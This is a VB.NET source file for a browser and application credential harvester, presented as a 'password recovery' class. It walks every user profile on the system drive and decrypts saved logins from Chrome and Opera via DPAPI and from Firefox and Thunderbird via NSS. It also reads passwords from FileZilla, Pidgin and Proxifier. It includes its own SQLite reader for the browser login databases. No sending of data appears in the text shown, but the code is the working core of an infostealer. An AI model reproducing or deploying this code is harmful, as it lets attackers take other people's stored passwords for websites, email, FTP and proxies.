Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Text
Imports System.Text.RegularExpressions
Imports System.Xml

Class PREC
#Region "Win32/API+Other libs"
#Region "Shared"
    <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
    Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
    End Function
    <Flags()>
    Private Enum CryptProtectPromptFlags
        CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
        CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
    End Enum
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
    Private Structure CRYPTPROTECT_PROMPTSTRUCT
        Public cbSize As Integer
        Public dwPromptFlags As CryptProtectPromptFlags
        Public hwndApp As IntPtr
        Public szPrompt As String
    End Structure
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
    Private Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As IntPtr
    End Structure
    Private Function Decrypt(ByVal Datas() As Byte) As String
        On Error Resume Next
        Dim inj, Ors As New DATA_BLOB
        Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
        inj.pbData = Ghandle.AddrOfPinnedObject()
        inj.cbData = Datas.Length
        Ghandle.Free()
        CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
        Dim Returned() As Byte = New Byte(Ors.cbData) {}
        Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
        Dim TheString As String = Encoding.UTF8.GetString(Returned)
        Return TheString.Substring(0, TheString.Length - 1)
    End Function
#End Region
#Region "Firefox"
    Private NSS3 As IntPtr
    Private hModuleList As New List(Of IntPtr)

    <StructLayout(LayoutKind.Sequential)>
    Private Structure TSECItem
        Public SECItemType As Integer
        Public SECItemData As Integer
        Public SECItemLen As Integer
    End Structure

    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Private Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Private Delegate Function DLLFunctionDelegate2() As Long
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Private Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Private Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Private Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Private Delegate Function DLLFunctionDelegate6() As Long

    Private Function PK11_GetInternalKeySlot() As Long
        Return CreateAPI(Of DLLFunctionDelegate2)(NSS3, "PK11_GetInternalKeySlot")()
    End Function
    Private Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
        Return CreateAPI(Of DLLFunctionDelegate3)(NSS3, "PK11_Authenticate")(slot, loadCerts, wincx)
    End Function
    Private Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
        Return CreateAPI(Of DLLFunctionDelegate4)(NSS3, "NSSBase64_DecodeBuffer")(arenaOpt, outItemOpt, inStr, inLen)
    End Function
    Private Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
        Return CreateAPI(Of DLLFunctionDelegate5)(NSS3, "PK11SDR_Decrypt")(data, result, cx)
    End Function
    Private Function NSS_Shutdown() As Long
        Return CreateAPI(Of DLLFunctionDelegate6)(NSS3, "NSS_Shutdown")()
    End Function

    <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
    Private Shared Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
    End Function

    <DllImport("kernel32.dll", SetLastError:=True, EntryPoint:="FreeLibrary")>
    Private Shared Function FreeLibrary(ByVal hModule As IntPtr) As Boolean
    End Function

    <DllImport("kernel32.dll", SetLastError:=True, CharSet:=CharSet.Ansi, ExactSpelling:=True)>
    Private Shared Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
    End Function

    'Private Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
    '    Return CreateAPI(Of T)(LoadLibrary(name), method)
    'End Function

    Private Function CreateAPI(Of T)(ByVal hModule As IntPtr, ByVal method As String) As T 'Simple overload to avoid loading the same library every time
        On Error Resume Next
        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), GetType(T)), Object), T)
    End Function
#End Region
#End Region

#Region "Recovery methods"
#Region "Opera"
    Public Function RecoverOpera() As Boolean
        Try
            For Each AppData As String In GetAppDataFolders()
                If Not File.Exists(AppData & "\Roaming\Opera Software\Opera Stable\Login Data") Then Continue For
                Dim sql As New SQLiteHandler(AppData & "\Roaming\Opera Software\Opera Stable\Login Data")
                sql.ReadTable("logins")
                For i As Integer = 0 To sql.GetRowCount() - 1
                    Dim url As String = sql.GetValue(i, "origin_url")
                    Dim username As String = sql.GetValue(i, "username_value")
                    Dim password_crypted As String = sql.GetValue(i, "password_value")
                    Dim password As String = IIf(String.IsNullOrEmpty(password_crypted), "", Decrypt(Encoding.Default.GetBytes(password_crypted)))
                    Dim Opera As New Account(AccountType.Opera, username, password, url)
                    Accounts.Add(Opera)
                Next
            Next
            Return True
        Catch e As Exception
#If DEBUG Then
            Throw e
#End If
            Return False
        End Try
    End Function
#End Region
#Region "Google Chrome"
    Public Function RecoverChrome() As Boolean
        Try
            For Each AppData As String In GetAppDataFolders()
                If Not File.Exists(AppData & "\Local\Google\Chrome\User Data\Default\Login Data") Then Continue For
                Dim sql As New SQLiteHandler(AppData & "\Local\Google\Chrome\User Data\Default\Login Data")
                sql.ReadTable("logins")
                For i As Integer = 0 To sql.GetRowCount() - 1
                    Dim url As String = sql.GetValue(i, "origin_url")
                    Dim username As String = sql.GetValue(i, "username_value")
                    Dim password_crypted As String = sql.GetValue(i, "password_value")
                    Dim password As String = IIf(String.IsNullOrEmpty(password_crypted), "", Decrypt(Encoding.Default.GetBytes(password_crypted)))
                    Dim Chrome As New Account(AccountType.Chrome, username, password, url)
                    Accounts.Add(Chrome)
                Next
            Next
            Return True
        Catch e As Exception
#If DEBUG Then
            Throw e
#End If
            Return False
        End Try
    End Function
#End Region
#Region "Mozilla Firefox"
    Private Function FindFirefoxInstallationPath() As String
        Dim MozPath As String = String.Empty
        For Each InstalledAppsDir As String In GetInstalledAppsDirs()
            For Each Dir As String In Directory.GetDirectories(InstalledAppsDir, "Mozilla Firefox", SearchOption.TopDirectoryOnly)
                MozPath = Dir
                If Not String.IsNullOrEmpty(MozPath) Then
                    Exit For
                End If
            Next
        Next
        Return MozPath
    End Function

    Private Function FindFirefoxProfilePath(ByVal AppDataDir As String) As String
        Dim mozAPPDATA As String = AppDataDir & "\Roaming\Mozilla\Firefox"
        If Not IO.Directory.Exists(mozAPPDATA) Then Return String.Empty : Exit Function
        Dim mozProfile = New Regex("^Path=(.*?)$", RegexOptions.Multiline).Match(IO.File.ReadAllText(mozAPPDATA & "\profiles.ini")).Groups(1).Value.Replace(vbCr, Nothing)
        Return mozAPPDATA & "\" & mozProfile
    End Function

    Private Function NSS_Init(ByVal configdir As String) As Long
        hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcr100.dll"))
        hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcp100.dll"))
        hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcr120.dll"))
        hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\msvcp120.dll"))
        hModuleList.Add(LoadLibrary(FindFirefoxInstallationPath() & "\mozglue.dll"))
        NSS3 = LoadLibrary(FindFirefoxInstallationPath() & "\nss3.dll")
        hModuleList.Add(NSS3)
        Return CreateAPI(Of DLLFunctionDelegate)(NSS3, "NSS_Init")(configdir)
    End Function

    Private Function DecryptFF(ByVal str As String)
        On Error Resume Next
        Dim mozSEC, mozSEC2 As TSECItem
        Dim sb As New StringBuilder(str)
        Dim mozDecodeBuffer As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length)
        mozSEC = New TSECItem
        mozSEC2 = Marshal.PtrToStructure(New IntPtr(mozDecodeBuffer), GetType(TSECItem))
        If PK11SDR_Decrypt(mozSEC2, mozSEC, 0) = 0 Then
            If mozSEC.SECItemLen <> 0 Then
                Dim mozDecryptedData = New Byte(mozSEC.SECItemLen - 1) {}
                Marshal.Copy(New IntPtr(mozSEC.SECItemData), mozDecryptedData, 0, mozSEC.SECItemLen)
                Return Encoding.UTF8.GetString(mozDecryptedData)
            End If
        End If
        Return String.Empty
    End Function

    Public Function RecoverFirefox() As Boolean
        Try
            For Each AppData As String In GetAppDataFolders()
                Dim mozProfilePath As String = FindFirefoxProfilePath(AppData)
                If Not IO.Directory.Exists(mozProfilePath) Then Continue For
                Dim mozLogins = IO.File.ReadAllText(mozProfilePath & "\logins.json")
                NSS_Init(mozProfilePath)
                Dim keySlot As Long = PK11_GetInternalKeySlot()
                PK11_Authenticate(keySlot, True, 0)
                Dim JSONRegex As New Regex("\""(hostname|encryptedPassword|encryptedUsername)"":""(.*?)""")
                Dim mozMC = JSONRegex.Matches(mozLogins)
                For I = 0 To mozMC.Count - 1 Step 3
                    Dim host = mozMC(I).Groups(2).Value
                    Dim usr = mozMC(I + 1).Groups(2).Value
                    Dim pas = mozMC(I + 2).Groups(2).Value
                    Dim Firefox As New Account(AccountType.Firefox, DecryptFF(usr), DecryptFF(pas), host)
                    Accounts.Add(Firefox)
                Next
                NSS_Shutdown()
                For Each hModule As IntPtr In hModuleList
                    FreeLibrary(hModule)
                Next
            Next
            Return True
        Catch e As Exception
#If DEBUG Then

            Throw e
#End If
            Return False
        End Try
    End Function
#End Region
#Region "Mozilla Thunderbird"
    Private Function FindThunderbirdProfilePath(ByVal AppDataDir As String) As String
        Dim mozThunderAPPDATA As String = AppDataDir & "\Roaming\Thunderbird"
        If Not IO.Directory.Exists(mozThunderAPPDATA) Then Return String.Empty : Exit Function
        Dim mozProfile = New Regex("Path=(.*?)$", RegexOptions.Multiline).Match(IO.File.ReadAllText(mozThunderAPPDATA & "\profiles.ini")).Groups(1).Value.Replace(vbCr, Nothing)
        Return mozThunderAPPDATA & "\" & mozProfile
    End Function
    Public Function RecoverThunderbird() As Boolean
        Try
            For Each AppData As String In GetAppDataFolders()
                Dim mozThunderProfilePath As String = FindThunderbirdProfilePath(AppData)
                If Not IO.Directory.Exists(mozThunderProfilePath) Then Continue For
                Dim mozLogins = IO.File.ReadAllText(mozThunderProfilePath & "\logins.json")
                NSS_Init(mozThunderProfilePath & "\")
                Dim keySlot As Long = PK11_GetInternalKeySlot()
                PK11_Authenticate(keySlot, True, 0)
                Dim JSONRegex As New Regex("\""(hostname|encryptedPassword|encryptedUsername)"":""(.*?)""")
                Dim mozMC = JSONRegex.Matches(mozLogins)
                For I = 0 To mozMC.Count - 1 Step 3
                    Dim host = mozMC(I).Groups(2).Value
                    Dim usr = mozMC(I + 1).Groups(2).Value
                    Dim pas = mozMC(I + 2).Groups(2).Value
                    Dim Thunderbird As New Account(AccountType.Thunderbird, DecryptFF(usr), DecryptFF(pas), host)
                    Accounts.Add(Thunderbird)
                Next
                NSS_Shutdown()
                For Each hModule As IntPtr In hModuleList
                    FreeLibrary(hModule)
                Next
            Next
            Return True
        Catch e As Exception
#If DEBUG Then
            'An unhandled exception of type 'System.NullReferenceException' occurred in x
            'Additional Information: Object reference Not set to an instance of an object.

            'The error above most likely means you are compiling to other than x86 architecture
            Throw e
#End If
            Return False
        End Try
    End Function
#End Region
#Region "FileZilla"
    Public Function RecoverFileZilla() As Boolean
        Try
            For Each AppData As String In GetAppDataFolders()
                If IO.File.Exists(AppData & "\Roaming\FileZilla\recentservers.xml") Then
                    Dim x As New XmlDocument
                    x.Load(AppData & "\Roaming\FileZilla\recentservers.xml")
                    For Each Node As XmlNode In x.ChildNodes(1).SelectNodes("RecentServers/Server")
                        Dim host As String = String.Format("{0}:{1}", ExtractValue(Node, "Host"), ExtractValue(Node, "Port"))
                        Dim user As String = ExtractValue(Node, "User")
                        Dim pass As String = ExtractValue(Node, "Pass", (Node.SelectSingleNode("Pass[@encoding='base64']") IsNot Nothing))
                        Dim FileZilla As New Account(AccountType.FileZilla, user, pass, host)
                        Accounts.Add(FileZilla)
                    Next
                    x = Nothing
                Else
                    Continue For
                End If
            Next
            Return True
        Catch e As Exception
#If DEBUG Then
            Throw e
#End If
            Return False
        End Try
    End Function
#End Region
#Region "Pidgin"
    Public Function RecoverPidgin() As Boolean
        Try
            For Each AppData As String In GetAppDataFolders()
                If Not IO.File.Exists(AppData & "\Roaming\.purple\accounts.xml") Then Continue For
                Dim Doc As New XmlDocument
                Doc.Load(AppData & "\Roaming\.purple\accounts.xml")
                For Each Node As XmlNode In Doc.ChildNodes(1).SelectNodes("account")
                    Dim Domain As String = ExtractValue(Node, "protocol")
                    Dim Username As String = ExtractValue(Node, "name")
                    Dim Password As String = ExtractValue(Node, "password")
                    Dim Pidgin As New Account(AccountType.Pidgin, Username, Password, Domain)
                    Accounts.Add(Pidgin)
                Next
                Doc = Nothing
            Next
            Return True
        Catch e As Exception
#If DEBUG Then
            Throw e
#End If
            Return False
        End Try
    End Function
#End Region
#Region "Proxifier"
    ''' <summary>
    ''' Recovers Proxifier Proxy list (TODO: detect/implement password cryptography algorithm)
    ''' </summary>
    ''' <returns></returns>
    Public Function RecoverProxifier() As Boolean
        Try
            For Each AppData As String In GetAppDataFolders()
                If Not IO.File.Exists(AppData & "\Roaming\Proxifier\Profiles\Default.ppx") Then Continue For
                Dim Doc As New XmlDocument
                Doc.Load(AppData & "\Roaming\Proxifier\Profiles\Default.ppx")
                For Each Node As XmlNode In Doc.ChildNodes(1).SelectSingleNode("ProxyList").SelectNodes("Proxy")
                    Dim IPAddress As String = "[" & Node.Attributes("type").Value & "]" & ExtractValue(Node, "Address") & ":" & ExtractValue(Node, "Port")
                    Dim Username As String = ""
                    Dim Password As String = ""
                    For Each n As XmlNode In Node.ChildNodes
                        If n.Name = "Authentication" Then
                            If n.Attributes("enabled").Value = "true" Then
                                Username = ExtractValue(n, "Username")
                                Password = ExtractValue(n, "Password")
                            End If
                        End If
                    Next
                    Dim Proxifier As New Account(AccountType.Proxifier, Username, Password, IPAddress)
                    Accounts.Add(Proxifier)
                Next
                Doc = Nothing
            Next
            Return True
        Catch e As Exception
#If DEBUG Then
            Throw e
#End If
            Return False
        End Try
    End Function
#End Region
#End Region

#Region "Hacks/Helpers"
    Private Function ExtractValue(ByVal Node As XmlNode, ByVal Key As String, Optional ByVal DecodeBase64 As Boolean = False) As String
        Dim exNode As XmlNode = Node.SelectSingleNode(Key)
        If DecodeBase64 Then
            Return New UTF8Encoding().GetString(Convert.FromBase64String(exNode.InnerText))
        Else
            Return exNode.InnerText
        End If
    End Function
    Private Function isWindowsXP() As Boolean
        Return (System.Environment.OSVersion.Version.Major = 5)
    End Function
    Private Function GetAppDataFolders() As String()
        On Error Resume Next
        Dim iList As New List(Of String)
        If isWindowsXP() Then
            For Each Dir As String In Directory.GetDirectories(Drive.RootDirectory.FullName & "Documents and Settings\", "*", SearchOption.TopDirectoryOnly)
                iList.Add(Dir & "Application Data")
            Next
        Else
            For Each Dir As String In Directory.GetDirectories(Drive.RootDirectory.FullName & "Users\", "*", SearchOption.TopDirectoryOnly)
                Dim dirInfo As New System.IO.DirectoryInfo(Dir)
                iList.Add(Drive.RootDirectory.FullName & "Users\" & dirInfo.Name & "\AppData")
            Next
        End If
        Return iList.ToArray
    End Function
    Private Function GetInstalledAppsDirs() As String()
        Dim Apps As String = String.Empty
        Dim iList As New List(Of String)
        For Each Dir As String In Directory.GetDirectories(Drive.RootDirectory.FullName, "Program Files*", SearchOption.TopDirectoryOnly)
            iList.Add(Dir)
        Next
        Return iList.ToArray
    End Function

#End Region

#Region "Detectors"
    'Not sure how I will do this without access to registry on other drives yet!!
    'So currently I check if login file exists inside the recovery functions
#End Region

#Region "Main code stuff"
    Sub New(ByVal Drive As DriveInfo)
        Me.Drive = Drive
    End Sub
    Sub New()
        For Each Drive As DriveInfo In DriveInfo.GetDrives
            If Drive.RootDirectory.FullName = Path.GetPathRoot(Environment.SystemDirectory) Then
                Me.Drive = Drive : Exit For
            End If
        Next
    End Sub
    Private _drive As DriveInfo
    Public Property Drive() As DriveInfo
        Get
            Return _drive
        End Get
        Set(ByVal value As DriveInfo)
            _drive = value
        End Set
    End Property
    Private _accounts As New List(Of Account)
    Public Property Accounts() As List(Of Account)
        Get
            Return _accounts
        End Get
        Set(ByVal value As List(Of Account))
            _accounts = value
        End Set
    End Property

#End Region
End Class

Class Account
    Private _username As String
    Public Property Username() As String
        Get
            Return _username
        End Get
        Set(ByVal value As String)
            _username = value
        End Set
    End Property
    Private _password As String
    Public Property Password() As String
        Get
            Return _password
        End Get
        Set(ByVal value As String)
            _password = value
        End Set
    End Property
    Private _domain As String
    Public Property Domain() As String
        Get
            Return _domain
        End Get
        Set(ByVal value As String)
            _domain = value
        End Set
    End Property
    Private _type As AccountType
    Public Property Type() As AccountType
        Get
            Return _type
        End Get
        Set(ByVal value As AccountType)
            _type = value
        End Set
    End Property
    Sub New(ByVal Type As AccountType, ByVal Username As String, ByVal Password As String)
        Me.Type = Type
        Me.Username = Username
        Me.Password = Password
    End Sub
    Sub New(ByVal Type As AccountType, ByVal Username As String, ByVal Password As String, ByVal Domain As String)
        Me.Type = Type
        Me.Username = Username
        Me.Password = Password
        Me.Domain = Domain
    End Sub
    Sub New(ByVal Type As AccountType)
        Me.Type = Type
    End Sub
    Public Overrides Function ToString() As String
        Dim sb As New StringBuilder()
        sb.AppendLine("PREC.Account {")
        sb.AppendLine("Type:        " & Type.ToString)
        sb.AppendLine("Domain:      " & Domain)
        sb.AppendLine("Username:    " & Username)
        sb.AppendLine("Password:    " & Password)
        sb.AppendLine("}")
        Return sb.ToString
    End Function
End Class

Enum AccountType
    Firefox
    Chrome
    Opera
    FileZilla
    Pidgin
    Thunderbird
    Proxifier
End Enum


Public Class SQLiteHandler
    Private db_bytes() As Byte
    Private page_size As UInt16
    Private encoding As UInt64
    Private master_table_entries() As sqlite_master_entry

    Private SQLDataTypeSize() As Byte = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
    Private table_entries() As table_entry
    Private field_names() As String

    Private Structure record_header_field
        Dim size As Int64
        Dim type As Int64
    End Structure

    Private Structure table_entry
        Dim row_id As Int64
        Dim content() As String
    End Structure

    Private Structure sqlite_master_entry
        Dim row_id As Int64
        Dim item_type As String
        Dim item_name As String
        Dim astable_name As String
        Dim root_num As Int64
        Dim sql_statement As String
    End Structure

    'Needs BigEndian
    'GetVariableLength
    ' returns the endindex of an variable length integer
    Private Function GVL(ByVal startIndex As Integer) As Integer
        If startIndex > db_bytes.Length Then Return Nothing

        For i = startIndex To startIndex + 8 Step 1
            If i > db_bytes.Length - 1 Then
                Return Nothing
            ElseIf (db_bytes(i) And &H80) <> &H80 Then
                Return i
            End If
        Next

        Return startIndex + 8
    End Function

    ' Eingaberichtung BigEndian
    ' ConvertVariableLength
    Private Function CVL(ByVal startIndex As Integer, ByVal endIndex As Integer) As Int64
        endIndex = endIndex + 1

        Dim retus(7) As Byte
        Dim Length = endIndex - startIndex
        Dim Bit64 As Boolean = False

        If Length = 0 Or Length > 9 Then Return Nothing
        If Length = 1 Then
            retus(0) = (db_bytes(startIndex) And &H7F)
            Return BitConverter.ToInt64(retus, 0)
        End If

        If Length = 9 Then
            ' Ein Byte wird nämlich grad hinzugefügt
            Bit64 = True
        End If

        Dim j As Integer = 1
        Dim k As Integer = 7
        Dim y As Integer = 0

        If Bit64 Then
            retus(0) = db_bytes(endIndex - 1)
            endIndex = endIndex - 1
            y = 1
        End If

        For i = (endIndex - 1) To startIndex Step -1
            If (i - 1) >= startIndex Then
                retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j)) Or (db_bytes(i - 1) << k)
                j = j + 1
                y = y + 1
                k = k - 1
            Else
                If Not Bit64 Then retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j))
            End If
        Next

        Return BitConverter.ToInt64(retus, 0)
    End Function

    'Checks if a number is odd
    Private Function IsOdd(ByVal value As Int64) As Boolean
        Return (value And 1) = 1
    End Function

    'Big Endian Conversation
    Private Function ConvertToInteger(ByVal startIndex As Integer, ByVal Size As Integer) As UInt64
        If Size > 8 Or Size = 0 Then Return Nothing

        Dim retVal As UInt64 = 0

        For i = 0 To Size - 1 Step 1
            retVal = ((retVal << 8) Or db_bytes(startIndex + i))
        Next

        Return retVal
    End Function

    Private Sub ReadMasterTable(ByVal Offset As UInt64)

        If db_bytes(Offset) = &HD Then 'Leaf node
            'Length for setting the array length for the entries
            Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
            Dim ol As Integer = 0

            If Not master_table_entries Is Nothing Then
                ol = master_table_entries.Length
                ReDim Preserve master_table_entries(master_table_entries.Length + Length)
            Else
                ReDim master_table_entries(Length)
            End If

            Dim ent_offset As UInt64

            For i = 0 To Length Step 1
                ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2)

                If Offset <> 100 Then ent_offset = ent_offset + Offset

                'Table Cell auslesen
                Dim t = GVL(ent_offset)
                Dim size As Int64 = CVL(ent_offset, t)

                Dim s = GVL(ent_offset + (t - ent_offset) + 1)
                master_table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)

                'Table Content
                'Resetting the offset
                ent_offset = ent_offset + (s - ent_offset) + 1

                'Now get to the Record Header
                t = GVL(ent_offset)
                s = t
                Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) 'Record Header Length

                Dim Field_Size(4) As Int64

                'Now get the field sizes and fill in the Values
                For j = 0 To 4 Step 1
                    t = s + 1
                    s = GVL(t)
                    Field_Size(j) = CVL(t, s)

                    If Field_Size(j) > 9 Then
                        If IsOdd(Field_Size(j)) Then
                            Field_Size(j) = (Field_Size(j) - 13) / 2
                        Else
                            Field_Size(j) = (Field_Size(j) - 12) / 2
                        End If
                    Else
                        Field_Size(j) = SQLDataTypeSize(Field_Size(j))
                    End If
                Next

                ' Wir lesen nur unbedingt notwendige Sachen aus
                If encoding = 1 Then
                    master_table_entries(ol + i).item_type = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
                ElseIf encoding = 2 Then
                    master_table_entries(ol + i).item_type = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
                ElseIf encoding = 3 Then
                    master_table_entries(ol + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
                End If
                If encoding = 1 Then
                    master_table_entries(ol + i).item_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
                ElseIf encoding = 2 Then
                    master_table_entries(ol + i).item_name = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
                ElseIf encoding = 3 Then
                    master_table_entries(ol + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
                End If
                'master_table_entries(ol + i).astable_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1), Field_Size(2))
                master_table_entries(ol + i).root_num = ConvertToInteger(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2), Field_Size(3))
                If encoding = 1 Then
                    master_table_entries(ol + i).sql_statement = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
                ElseIf encoding = 2 Then
                    master_table_entries(ol + i).sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
                ElseIf encoding = 3 Then
                    master_table_entries(ol + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
                End If
            Next
        ElseIf db_bytes(Offset) = &H5 Then 'internal node
            Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
            Dim ent_offset As UInt16

            For i = 0 To Length Step 1
                ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2)

                If Offset = 100 Then
                    ReadMasterTable((ConvertToInteger(ent_offset, 4) - 1) * page_size)
                Else
                    ReadMasterTable((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
                End If

            Next

            ReadMasterTable((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
        End If
    End Sub

    Private Function ReadTableFromOffset(ByVal Offset As UInt64) As Boolean
        If db_bytes(Offset) = &HD Then 'Leaf node

            'Length for setting the array length for the entries
            Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
            Dim ol As Integer = 0

            If Not table_entries Is Nothing Then
                ol = table_entries.Length
                ReDim Preserve table_entries(table_entries.Length + Length)
            Else
                ReDim table_entries(Length)
            End If

            Dim ent_offset As UInt64

            For i = 0 To Length Step 1
                ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2)

                If Offset <> 100 Then ent_offset = ent_offset + Offset

                'Table Cell auslesen
                Dim t = GVL(ent_offset)
                Dim size As Int64 = CVL(ent_offset, t)

                Dim s = GVL(ent_offset + (t - ent_offset) + 1)
                table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)

                'Table Content
                'Resetting the offset
                ent_offset = ent_offset + (s - ent_offset) + 1

                'Now get to the Record Header
                t = GVL(ent_offset)
                s = t
                Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) 'Record Header Length

                Dim Field_Size() As record_header_field
                Dim size_read As Int64 = (ent_offset - t) + 1
                Dim j = 0

                'Now get the field sizes and fill in the Values
                While size_read < Rec_Header_Size
                    ReDim Preserve Field_Size(j)

                    t = s + 1
                    s = GVL(t)
                    Field_Size(j).type = CVL(t, s)

                    If Field_Size(j).type > 9 Then
                        If IsOdd(Field_Size(j).type) Then
                            Field_Size(j).size = (Field_Size(j).type - 13) / 2
                        Else
                            Field_Size(j).size = (Field_Size(j).type - 12) / 2
                        End If
                    Else
                        Field_Size(j).size = SQLDataTypeSize(Field_Size(j).type)
                    End If

                    size_read = size_read + (s - t) + 1
                    j = j + 1
                End While

                ReDim table_entries(ol + i).content(Field_Size.Length - 1)
                Dim counter As Integer = 0

                For k = 0 To Field_Size.Length - 1 Step 1
                    If Field_Size(k).type > 9 Then
                        If Not IsOdd(Field_Size(k).type) Then
                            If encoding = 1 Then
                                table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
                            ElseIf encoding = 2 Then
                                table_entries(ol + i).content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
                            ElseIf encoding = 3 Then
                                table_entries(ol + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
                            End If
                        Else
                            table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
                        End If
                    Else
                        table_entries(ol + i).content(k) = CStr(ConvertToInteger(ent_offset + Rec_Header_Size + counter, Field_Size(k).size))
                    End If

                    counter = counter + Field_Size(k).size
                Next
            Next
        ElseIf db_bytes(Offset) = &H5 Then 'internal node
            Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
            Dim ent_offset As UInt16

            For i = 0 To Length Step 1
                ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2)

                ReadTableFromOffset((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
            Next

            ReadTableFromOffset((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
        End If

        Return True
    End Function

    ' Reads a complete table with all entries in it
    Public Function ReadTable(ByVal TableName As String) As Boolean
        ' First loop through sqlite_master and look if table exists
        Dim found As Integer = -1

        For i = 0 To master_table_entries.Length Step 1
            If master_table_entries(i).item_name.ToLower().CompareTo(TableName.ToLower()) = 0 Then
                found = i
                Exit For
            End If
        Next

        If found = -1 Then Return False

        Dim fields() = master_table_entries(found).sql_statement.Substring(master_table_entries(found).sql_statement.IndexOf("(") + 1).Split(",")

        For i = 0 To fields.Length - 1 Step 1
            fields(i) = LTrim(fields(i))

            Dim index = fields(i).IndexOf(" ")

            If index > 0 Then fields(i) = fields(i).Substring(0, index)

            If fields(i).IndexOf("UNIQUE") = 0 Then
                Exit For
            Else
                ReDim Preserve field_names(i)
                field_names(i) = fields(i)
            End If
        Next

        Return ReadTableFromOffset((master_table_entries(found).root_num - 1) * page_size)
    End Function

